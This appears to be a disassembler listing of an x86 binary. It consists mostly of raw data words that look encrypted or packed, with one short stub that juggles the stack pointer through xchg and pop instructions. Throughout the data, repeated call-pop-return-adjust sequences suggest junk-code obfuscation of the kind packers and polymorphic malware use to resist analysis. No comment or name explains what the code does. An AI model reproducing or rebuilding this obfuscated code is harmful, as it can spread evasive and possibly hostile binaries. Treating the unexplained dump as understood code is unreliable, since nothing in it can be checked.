		dd 0A91431BDh, 17740006h, 21B85350h, 89000004h,	0A9244585h
		dd 4B9D8D06h, 0FF06ABB1h, 8B585BD3h, 0C99D8BC0h, 0C606A934h
		dd 0A916B185h, 52685606h, 0FF9CA8B8h, 0A910B5B5h, 0FC858D06h
		dd 0FF06AC73h, 68046AD0h, 1000h, 2239B5FFh, 6A06A9h, 0C085D0FFh
		dd 0D850Fh, 0B80000h, 8D000000h, 0A972228Dh, 8BE1FF06h
		dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h,	1DF9BD83h
		dd 0F0006A9h, 0E84h, 0F99D8B00h, 8B06A91Dh, 0A9209985h
		dd 51038906h, 45858D52h, 0FF06A97Bh, 8BFA8BD0h,	8BD18BF1h
		dd 0C6A4F3C8h, 0A916B185h, 39685606h, 0FFD41F6Dh, 0A910B5B5h
		dd 0FC858D06h, 0FF06AC73h, 800068D0h, 6A0000h, 8BD0FF52h
		dd 1DBD83C0h, 6A913h, 0BD830975h, 6A91431h, 50197400h
		dd 0B8C08B53h, 421h, 2098589h, 9D8D06A9h, 6ABB4C3h, 585BD3FFh
		dd 1431BD83h, 740006A9h, 0B8535017h, 421h, 2098589h, 9D8D06A9h
		dd 6ABB164h, 585BD3FFh,	9D8DC08Bh, 6A91DF9h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	4B41B818h, 12E80000h, 0E1000000h
		dd 0A398D404h, 0BCE695FDh, 0D50B2DC8h, 7889BB8Dh, 0DA815EF3h
		dd 303F2271h, 67BCC681h, 81660000h, 6862FEF2h, 19C0h, 5918CF80h
		dd 71BDEF81h, 36FF4797h, 830F6058h, 11h, 0CE9h,	0EE372900h
		dd 0D2C16E83h, 86DAF888h, 0CE95690h, 96000000h,	0E6402C5Dh
		dd 15E65CB1h, 58F2BBC0h, 0CFC08161h, 66208DBCh,	81E501BAh
		dd 714600E8h, 9E95Dh, 95650000h, 18BFF09Eh, 81185E72h
		dd 22427BE8h, 13E94Ah, 65DD0000h, 0F9684534h, 0F0E22F82h
		dd 0A7BCD393h, 0E340CF3Eh, 666050C2h, 61077DBAh, 0F88B068Fh
		dd 4E01EE83h, 0DA814E4Eh, 0C9A6D4Bh, 0F01E983h,	0FFFF7585h
		dd 0E85B51FFh, 10h, 6EE9F2DCh, 81DFDB8Fh, 0AA412929h, 0CDA16FA8h
		dd 0CBB95FF9h, 811ED810h, 0DEACC7h, 5FF8B800h, 0DB2B1407h
		dd 0FFF6BF0Fh, 9E83B34h, 0A4000000h, 80345AEFh,	6A907979h
		dd 8E8h, 5D223800h, 6661E140h, 11E912h,	154C0000h, 9139036Eh
		dd 47C250B9h, 18B5A0FBh, 5E3B5268h, 0E5805A5Eh,	12EA8141h
		dd 606F4FDAh, 0FD58A60h, 8A61C2BFh, 0EA8161D9h,	1C3F012Eh
		dd 0A9AAF281h, 0F52364Dh, 118Ch, 0CE900h, 7BBB0000h, 7A9EBFC6h
		dd 7BEC6C01h, 48F8AE1h,	0E6D9811Fh, 663A512Fh, 838819B9h
		dd 0BE804EBh, 0AC000000h, 0D1A18BC2h, 0E6F0EF1Ah, 0C980D421h
		dd 0FB815E2Eh, 0FFFF221Ch, 0FF61850Fh, 0EE81FFFFh, 6C7DB84h
		dd 0C5E9h, 6DA73F00h, 0F72DCA70h, 89BB54FAh, 1448E68Ch
		dd 9DD77117h, 0BBBF65A0h, 4CF2EF21h, 0D97F7CB0h, 6107043Eh
		dd 3D9390C2h, 0E5DB1BA9h, 52C5F5F3h, 0A11775C0h, 27995DEBh
		dd 5607F5F3h, 0F4DA350Dh, 95335292h, 7786D163h,	3FB67AB4h
		dd 746FB5Dh, 9491C361h,	0A36BD7E8h, 0D771F9FCh,	0F95B0A9Dh
		dd 0DA2B9F4Bh, 2055B5FCh, 456FFD29h, 1DFCE7D6h,	50F500D2h
		dd 74347DB7h, 1255B72Bh, 8, 31B94DD4h, 0BAFA5C96h, 0D6699B33h
		dd 0EC7FB150h, 699CB66h, 1DB0E480h, 30C3FD97h, 41D410AAh
		dd 58EB1DBBh, 68FB39D2h, 7C0F45E2h, 300C682Ah, 1AE906B0h
		dd 88FFF94Fh, 0AFA9BCFDh, 9A8F470h, 935B822Dh, 6E8066Ch
		dd 27000000h, 906537Ch,	917BB83h, 8B5E54FBh, 8C681DAh
		dd 0B7000067h, 199A6831h, 0E9810000h, 7B0F9667h, 8BDF8B58h
		dd 0C2BF6616h, 0F2F28128h, 0E8322ED7h, 10h, 0C3DF4D59h
		dd 195B8046h, 4621E8B4h, 8F149CC6h, 0C7F78166h,	0EA815F9Ch
		dd 25156EA1h, 11E860h, 0BCD60000h, 0F3A513D8h, 0DF672B9Bh
		dd 0CFF00E3Dh, 66840162h, 0E95AF18Bh, 0Dh, 0A701D770h
		dd 672CAAEDh, 0C944DB86h, 0C28161EBh, 5085067Ah, 77DB8166h
		dd 661689C0h, 0EE83F98Bh, 0DB816604h, 0E8834637h, 84850F01h
		dd 66FFFFFFh, 8DE414BBh, 0B0325A8Dh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 8C425529h
		dd 958B8B9Ah, 6A902F9h,	16CD8D89h, 0B70F06A9h, 0E585C7C6h
		dd 0D006A90Ch, 6A000062h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0C725C357h,	0A911CD85h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A1182450h, 0C3F95BA0h, 830FCFF8h
		dd 0Bh,	6E9h, 8CD8AF00h, 0FF83E288h, 0A90659B5h, 91958B06h
		dd 0FF06A901h, 0A9328195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DE28086h
		dd 6830Fh, 958B0000h, 6A9328Dh,	95FF006Ah, 6A92D95h, 6BEBC08Bh
		dd 1BD83412h, 6B2B7F68h, 9F4766FCh, 759DE164h, 0B05410Ah
		dd 0C885156Dh, 0CD25471Ch, 0D6428724h, 296467AAh, 79440BB6h
		dd 0CEAA37B5h, 92CD73ADh, 63052975h, 0A1A39C03h, 834A1739h
		dd 0F73F132Ah, 2ECCE5EAh, 95455BFCh, 22DCDBFEh,	54A250D9h
		dd 5609131Ch, 0E1CC190h, 312B801h, 4B29E37Dh, 667A45DEh
		dd 63688F65h, 8DD91DF4h, 0B033D08Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 89DCED19h
		dd 0A9167D95h, 19BD8B06h, 8906A90Bh, 0A916CD8Dh, 65F48006h
		dd 0CE585C7h, 693406A9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0FB06A5C3h, 17899589h
		dd 85C706A9h, 6A911CDh,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D9C35646h
		dd 7F0B6ECh, 4F320050h,	59BD8960h, 8906A933h, 0A931799Dh
		dd 9D296106h, 6A905B1h,	17D1B5FFh, 6A06A9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0BBE25BC3h
		dd 1D38F29Ch, 328195FFh, 6A06A9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0BFB32FC3h, 24F1A802h
		dd 33DD9D89h, 6A06A9h, 2D9595FFh, 0C08B06A9h, 0D58D58EBh
		dd 76A9D51Fh, 2C17FB6Ch, 37D00BC2h, 0E769FF5Fh,	52360F2Ah
		dd 0D67CFC69h, 4FC0E93Ch, 0DD746484h, 8354E783h, 0F9096CCCh
		dd 3AC74DB1h, 0E4C8F09h, 53FEDDF1h, 0C2A27EA8h,	0D17EC9F1h
		dd 46A8EB59h, 58A26CEFh, 74682A16h, 5BC362B1h, 9F890832h
		dd 5BAB71B6h, 16EB311Ah, 5 dup(0)
		dd 1340101h, 6B00000h, 9F2CECBBh, 41B95047h, 893ACA18h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 5D07D3C3h, 119046D3h, 8E97C80h, 92000000h
		dd 5FE9256Bh, 6AC21271h, 6AF500h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 40C35747h, 351A858Dh, 0D8B606B0h
		dd 508DB690h, 2810Fh, 0D08B0000h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 541B94D6h
		dd 6A8F0C97h, 99D8B00h,	6A06A91Fh, 0A995FF00h, 6A06A92Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0CFC7C357h, 0E9E4B8D3h, 5E5h, 0E8CB8B66h
		dd 0
		dd 1FED815Dh, 6A06B035h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0E415C353h,	0A88EC7D1h
		dd 950B5353h, 6A91D71h,	49B5895Ah, 0E806A932h, 4, 0FA0h
		dd 7E950h, 0BA100000h, 6CEDA99Ah, 24448B98h, 0BF605604h
		dd 14DDC080h, 8B5F61h, 4244489h, 13E956h, 0B0CF0000h, 189AA37Fh
		dd 0D540D147h, 9CAE3FF4h, 1259767Ch, 6A585F3Ah,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F707C353h, 42DBB4C2h, 0E35BD89h, 95FF06A9h,	6A92D95h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 12C35040h
		dd 7CF8BAFEh, 32BEF332h, 5E9EDh, 82A70000h, 8D65871Dh
		dd 0B0342FB5h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FCFBB6D9h, 0F2D18166h
		dd 5206C7A8h, 6A6D6765h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 69CAC350h, 0F9E7CE84h
		dd 46C7F4F7h, 636E6F04h, 7ECA806Ch, 610846C7h, 8B007373h
		dd 0A9355995h, 8A006A06h, 2F858DD9h, 6A06B034h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 8D3C355h, 896078A0h,	0A90F99BDh, 0BB906106h,	3BFC0682h
		dd 2890F50h, 8A000000h,	6A90CEh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 1CF66BC3h, 6820F35h
		dd 81000000h, 80B3EAE3h, 8995FF60h, 6006A912h, 89B2B760h
		dd 0A90C5D85h, 880F6106h, 2, 0B618AB4h,	5B840FC0h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 2C0FC357h, 0D5B531DAh, 0E906A924h, 341h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 22C35343h
		dd 75FCFA3h, 0DCF15F69h, 9E9h, 6F58C100h, 5142B8D1h, 4E88E8Bh
		dd 2C000000h, 0BA000001h, 4F11E7EFh, 0BF666050h, 8B669BA5h
		dd 448B61CEh, 8B0424h, 10BB6651h, 44895A04h, 2ABA0424h
		dd 5853525Eh, 2D9595FFh, 0FA8B06A9h, 11C5BD29h,	0B58D06A9h
		dd 6B0342Fh, 21898D8Bh,	6C706A9h, 36343831h, 0CE9h, 7C181900h
		dd 3D6975D2h, 869E628h,	0E5958BE6h, 0C706A920h,	2D370446h
		dd 6A3134h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BF0FB6C3h, 846C7CEh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 63C35646h
		dd 6218CF86h, 0CB59D29h, 0B96606A9h, 6AB7E2h, 8DDBBF0Fh
		dd 0B0342F85h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 187CBE95h, 0BF520F89h
		dd 6D508595h, 8B665059h, 240489D8h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 3EC35242h, 0BB6676EAh, 95FF3B35h
		dd 6A91289h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	88C35646h, 66ABC65Fh, 0B8BF1BAh, 5B840FC0h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 957DC352h, 0E5C24E66h, 0A7638954h, 6E9h
		dd 0C8752B00h, 0E9A8B7ECh, 191h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 19h, 9C35040h, 2A25527Ah, 3565BAC5h
		dd 4768072Ah, 8168BBDCh, 0DD6B2434h, 0C28168BBh, 7002E9Dh
		dd 2D9595FFh, 0BD3106A9h, 6A90E11h, 342FB58Dh, 6A06B0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B07BBDC3h, 5A596E0Bh, 0C7FC32FEh, 6C694606h, 0F99D0965h
		dd 0C706A905h, 6F6D0446h, 13E9636Eh, 58000000h,	0E4BBD292h
		dd 609D1AEFh, 0B87F7F1Ch, 0DF0FC9F0h, 7E9BF15h,	0CB000000h
		dd 5BDAB75Eh, 46C7D04Bh, 73616C08h, 0B59D8973h,	6606A916h
		dd 252FF181h, 0C46C7h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FEBC351h
		dd 128Ah, 5E96000h, 37000000h, 7FFB549Fh, 800Fh, 0F5610000h
		dd 7E9006Ah, 0A0000000h, 4C4677C2h, 858D88B7h, 6B0342Fh
		dd 26E98531h, 0B19006A9h, 4ABB50A0h, 90258140h,	66C8B70Fh
		dd 95FFDA8Bh, 6A91289h,	0C00BD88Ah, 36840Fh, 0C9810000h
		dd 1FF1246Eh, 58E9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 318117F6h, 8960C0B4h
		dd 0A90CF98Dh, 44E68006h, 0FFFAEAE9h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0FC85C14Bh, 8147EC78h, 6B834BCBh, 22B58D29h,	6A06A972h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0A3E3C356h, 0CC87D781h, 0B83411h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 286BC357h, 2F6BBF66h, 6AE6FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0F45635C3h
		dd 1B36D6A6h, 0EE8h, 37DA6B00h,	6489EF69h, 0B516ED5Bh
		dd 667E4D3Eh, 1D7BD181h, 13E95Bh, 9E70000h, 0AE23992h
		dd 29F53BC8h, 48E95485h, 11463201h, 0EBC18BFEh,	0FB8DD0Ch
		dd 1C326549h, 54F2754Bh, 601E9FDh, 0F5E90000h, 49000005h
		dd 0D07673B1h, 5E040133h, 0EC928FC5h, 771D1A4Eh, 6BA6A3DDh
		dd 0ED27C1B9h, 76AE4AF0h, 638D379h, 92C46309h, 1DAB3F95h
		dd 0F5F3DAD9h, 333654C7h, 48D06294h, 611678ACh,	9E3740DBh
		dd 9C22D164h, 8B3ACDFFh, 23C24ADCh, 4DAF5EF1h, 3E761298h
		dd 598B25ABh, 6AA640C6h, 7DB750D8h, 42E0661Bh, 5CF57B0Eh
		dd 700D9326h, 8141A73Ah, 8FC502D5h, 0C8777AB4h,	0C51AA836h
		dd 9D4EF273h, 0B9EB840Ah, 647D16BCh, 59B442D0h,	33E4F5F3h
		dd 0F3594FA7h, 0E99849F5h, 72FACA56h, 0D56786B4h, 7143B341h
		dd 962FB394h, 0C21AC95Ch, 7156A02Eh, 9142B394h,	0D11B80E2h
		dd 0A29FD56Eh, 0D967A61Ch, 0B394721Dh, 0A744CA7Bh, 8433E275h
		dd 95CF6AF2h, 0ABDD7C02h, 71BA6918h, 47339816h,	84389A67h
		dd 28CE5CF0h, 78B3944Ch, 3FB765C7h, 59A96482h, 24BF37C5h
		dd 28D9ACE4h, 0F9CE779h, 93A05AD3h, 2D670187h, 0F59016CBh
		dd 19AC4AD8h, 3BECACE4h, 4EE98F8Ch, 5BFA8214h, 85E79629h
		dd 0A85C44D0h, 0FE413BB3h, 7CB651B6h, 27C9F97Fh, 0DF6D0195h
		dd 0FA90A917h, 0B03ED081h, 0FA90A846h, 913FA152h, 0F06BC8ECh
		dd 76089B4Ch, 0B91B51EEh, 0E9A3B70Bh, 3D87EAF7h, 0FE8D955Dh
		dd 1100A1h, 0C44C0000h,	0B160F325h, 0F85A8C2Bh,	38098B8h
		dd 335A0000h, 0A0E1CC98h, 29FFC2A8h, 0C861E77Ah, 4489F78Ah
		dd 68038BF8h, 92F4A336h, 83154FEAh, 2403A4EFh, 0CD774E4Eh
		dd 0A3FBB541h, 0D032E3FCh, 3E700BB1h, 808924ACh, 6D1CAFE1h
		dd 0F7A75CBEh, 6CF48697h, 5A099CD0h, 0DA2993F8h, 41F6408Fh
		dd 32940F6Dh, 23B5EF8Ah, 9BF5018Fh, 0F2A3FCA3h,	37BF7190h
		dd 21D0639Dh, 3CCF019Bh, 0EA832B8Dh, 0B9325B8h,	96C8636Ch
		dd 43A554E7h, 38CBFD9Bh, 2166CE31h, 0A14D4A88h,	66C76E7Ah
		dd 9D9AD670h, 0B3525BF7h, 43D60EAAh, 0A352E594h, 5DDD105Ah
		dd 0C776888Fh, 0DA12AE34h, 4FB5F847h, 3B386C08h, 0D361F589h
		dd 82432523h, 0B640CC7Dh, 0E2824324h, 0DA0CAB31h, 0D33578h
		dd 38830000h, 2D40CBDh,	87C72931h, 0D1039F27h, 0A52D8F3Eh
		dd 0B53BCE18h, 41E7E416h, 4BD76AA8h, 0FCA415ABh, 2A99E346h
		dd 7E0831DFh, 0F85AA5BDh, 807DB750h, 73063EDAh,	891C4EEDh
		dd 4A8DF73Ah, 0F10593AEh, 0AFFCA32Bh, 0A3936664h, 0A352CE6Fh
		dd 0B551F7F4h, 0CC66EC7Fh, 1EBB0698h, 4AA96BE9h, 52590E70h
		dd 0AE3685EFh, 0D078DA12h, 5D030034h, 0E71DBAC3h, 63F6A554h
		dd 0A256DAB3h, 8B950657h, 0A90B2A88h, 0FD97F844h, 0C914C6C3h
		dd 63D377A6h, 0A440C650h, 0CC2EDD70h, 0C4578924h, 0A35C8938h
		dd 0E012AFFCh, 5A2EC74Dh, 6259660Ch, 79A4985h, 0E4579D00h
		dd 0A329A056h, 0A04F00FCh, 9EE14B90h, 0F43FD103h, 5E785B51h
		dd 5A9C2A61h, 46FCA369h, 6584E695h, 39F2727h, 2D8F3ED1h
		dd 25B8EA85h, 37CA049Fh, 0B2155FA2h, 8A6CFA17h,	16FCA415h
		dd 0DB9B665h, 0FCA41310h, 7D0B26C2h, 0FCA41179h, 18C77627h
		dd 0B8FFDC15h, 0FEFEB9A6h, 2779FFFFh, 15F10593h, 0FEAFFCA4h
		dd 5FAE149Ch, 0A41625D1h, 13C273FCh, 295BF981h,	0D185E796h
		dd 7F300243h, 1BAD5EF2h, 0F0FDF987h, 0EA9BF5FAh, 0AE4DD388h
		dd 0F0EB0B99h, 4B5F5FAh, 9E3BC355h, 45EB0A6Ch, 5BE174A6h
		dd 15B4BDh, 0FAF08472h,	0B46314F5h, 0E0237205h,	62943394h
		dd 0EE20BF65h, 987EC95Bh, 435FE5BAh, 8B36E446h,	9EF5FA68h
		dd 0B5E7840Ch, 53E17322h, 0F5FA68A3h, 85EA4CFDh, 739D83Fh
		dd 93C5640Ah, 0C8289A00h, 88D5A836h, 0A931EBD5h, 0A0B33F0Bh
		dd 2E71CDBCh, 0AB3DEC7Fh, 0A3F7D91Dh, 6716C7FCh, 43B341D5h
		dd 5DFCA3F7h, 0A52B4AACh, 0B341D31Dh, 0F2742E47h, 0F82AC951h
		dd 9530B649h, 1DB85E5Bh, 8F3E720Ch, 95470FCh, 4D9286B5h
		dd 0CB05A0E7h, 0DD17B139h, 1AB65C7Bh, 0CA0550E2h, 856FC744h
		dd 1DA358BAh, 0FAA3B682h, 10494BEEh, 4CAFCE61h,	0C8D022E0h
		dd 0ABC55DA9h, 11000000h, 22B5EF89h, 0A353E173h, 0FDB394D2h
		dd 33AAEA4Ch, 0C1676496h, 47EDEA28h, 0C87A77A9h, 3BFFE7Dh
		dd 1B7D50A6h, 0AAA7D973h, 39366A04h, 0C8C5F793h, 0DEAECB16h
		dd 0CFA0ECDBh, 0F82AC56Dh, 84B655FBh, 2A47E187h, 0A32D5A9Ch
		dd 0F9546FCh, 0FCAB3E70h, 9A28BA4Dh, 0FCA32D5Ch, 69428B3Ch
		dd 5B7D246Eh, 0FD83184Eh, 92992C5Eh, 3ED2C52Fh,	60DA1CAAh
		dd 15C6FCA3h, 8571FFB3h, 13FCA360h, 25B36562h, 0FCA360D1h
		dd 0FF981ECFh, 4D8332C5h, 5B97B8h, 5DE50000h, 49F88BC1h
		dd 0CE7AA7E7h, 0FCA41629h, 0ED8C14C6h, 88F459BBh, 963396B4h
		dd 28C16764h, 0B1447613h, 0B0565302h, 3BE1DE12h, 0CC726FA1h
		dd 0B88C2732h, 0E26EB223h, 871AC96Ch, 862C29D8h, 9820B2EAh
		dd 0A92FC2FEh, 0C325D40Eh, 3163FEA4h, 0BDEF8E34h, 37FC0h
		dd 4D410000h, 699B332Dh, 7FB150D6h, 99CB66ECh, 0B0E48006h
		dd 0C3FD971Dh, 0D410AA30h, 0EB1DBB41h, 0FB39D258h, 0F45E268h
		dd 0EC812A7Ch, 4, 53242489h, 4BBh, 245C0100h, 89535B04h
		dd 4C381E3h, 83000000h,	1C8704EBh, 1C895C24h, 0E0895024h
		dd 405h, 4E88300h, 5C240487h, 56243489h, 9F242468h, 814E5E3Fh
		dd 0F76B2DEEh, 0E0EE8167h, 52D0F77Dh, 0D389F289h, 8B545E5Ah
		dd 0C4832434h, 2C815304h, 0E53B2424h, 8468F31h,	24084681h
		dd 8B31E53Bh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 64h,	39h, 0FCh
		dd 0A92AB12Ch, 0B04069B8h, 8BC50306h, 6D9D8DD3h, 0B806A903h
		dd 1434h, 10098589h, 0E806A9h, 58000000h, 0D05h, 0E9038900h
		dd 1434h, 50Dh dup(0)
		dd 75FDED55h, 76F67A5Eh, 56E669A4h, 2BFD49BCh, 89FD2119h
		dd 0CEFD2134h, 2CFD2123h, 1EFD21A9h, 0F4FD216Ch, 0DDFD218Eh
		dd 0B2FD21FFh, 0A9FD2147h, 0D4FD211Bh, 0ADFD2134h, 6FD2123h
		dd 63FD21ABh, 40FD216Dh, 2DFD218Fh, 0E9FD21FEh,	3DFD2145h
		dd 9DFD2119h, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh
		dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh
		dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A63E1Ah
		dd 75A63FBEh, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h
		dd 0F0701ABCh, 734D23DDh, 2047FFA6h, 0F0707C27h, 734D2352h
		dd 2087FF6Ch, 0F0707C42h, 734D23AEh, 204BFF35h,	0F0707CEEh
		dd 734D2318h, 2083FF1Eh, 0F0707C7Bh, 734D2213h,	207FFF7Bh
		dd 0F0707CC9h, 734D2D28h, 207BFFD7h, 0F0707C9Fh, 734D2D31h
		dd 2077FF42h, 0F0707C55h, 734D2D4Eh, 2073FFF0h,	0F0707C0Ch
		dd 734D2249h, 2067FFA6h, 0F0707C27h, 734D2D28h,	206FFF6Ch
		dd 0F0707C42h, 734D227Bh, 206BFF35h, 0F0707CEEh, 734D2238h
		dd 2067FF1Eh, 0F0707C7Bh, 734D22B4h, 2057FF7Bh,	0F0707CC9h
		dd 734D22CCh, 2053FFD7h, 0F0707C9Fh, 734D2204h,	204FFF42h
		dd 0F0707C55h, 734D222Eh, 2063FFF0h, 0F0707C0Ch, 734D234Dh
		dd 205FFFA6h, 0F0707C27h, 734D2365h, 205BFF6Ch,	0F0767C42h
		dd 7354688Ch, 200EFF35h, 0F0767CEEh, 73545B72h,	200AFF1Eh
		dd 0B69C7C7Bh, 9D11F1B0h, 75FD7AF2h, 7217FB23h,	25FBCAEBh
		dd 0FDF53FD5h, 0C5A888ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 734D2D94h, 2084FFA0h, 0C87D7C9Fh
		dd 734D2FEEh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 200AEF86h
		dd 0FEBD7C0Ch, 7A452B96h, 8AFD7A2Fh, 0C5A88D02h, 0F48F7CDh
		dd 0F8FBCAB0h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 0C5A88DBAh, 0F48F791h, 0F8FBCA9Eh, 8A50FCD1h, 0BC1F2322h
		dd 2084F787h, 2DA07C0Ch, 2CA32005h, 776D92ECh, 0CD4D7A97h
		dd 8A5779C1h, 0C5A88970h, 9D3ED1F4h, 75FD7807h,	0CD9BC2DAh
		dd 0DE9B5954h, 200EEFD0h, 0DE9B7C27h, 77959208h, 360B7AE5h
		dd 6E8872F3h, 200EEF86h, 0C54D7C0Ch, 8AAD7954h,	0C5A889BAh
		dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 866885B5h, 2FFBCAA7h, 51FD5F1Fh,	133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 200AEF0Dh
		dd 0C0707CC9h, 734D2F02h, 7F518A5Dh, 0E002D02Ch, 734D2F64h
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 208DFF69h,	0C87D7C7Bh
		dd 734D2F95h, 0F8EC0FF3h, 0C5A898FCh, 61152ABAh, 9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 208DF787h, 0C87D7C0Ch, 734D2F2Eh, 0F8F10F2Fh, 0C5A89812h
		dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 82688579h, 0F8FBCAE9h
		dd 0C5A745C3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h,	75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 0C5A889CBh,	514ACE29h
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 200EEF68h, 917D7C7Bh
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 0C5A88D70h, 0A360F7F4h
		dd 0F8FBCA2Ch, 0CD3E39A0h, 75FD7A4Eh, 200AEFD0h, 0B57E7C27h
		dd 8935F1CEh, 200EEF1Ah, 97577C42h, 0BE15B98Eh,	0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 3A17FB04h,	0FCFBCA75h
		dd 0CF7D86EAh, 734D2F39h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h
		dd 200AE843h, 0FCBD7CEEh, 0C5A881ADh, 0F835F191h, 0C5A65979h
		dd 866F85E3h, 0FDFBCAA7h, 801F3C7Fh, 75FD6D04h,	8E7F795Eh
		dd 35FBCA7Ah, 2EEAE01Ah, 0B67E7C7Bh, 22FEF3E1h,	75FD644Bh
		dd 8E777979h, 0F8FBCAE9h, 0C5A67FECh, 2B598929h, 75FD722Fh
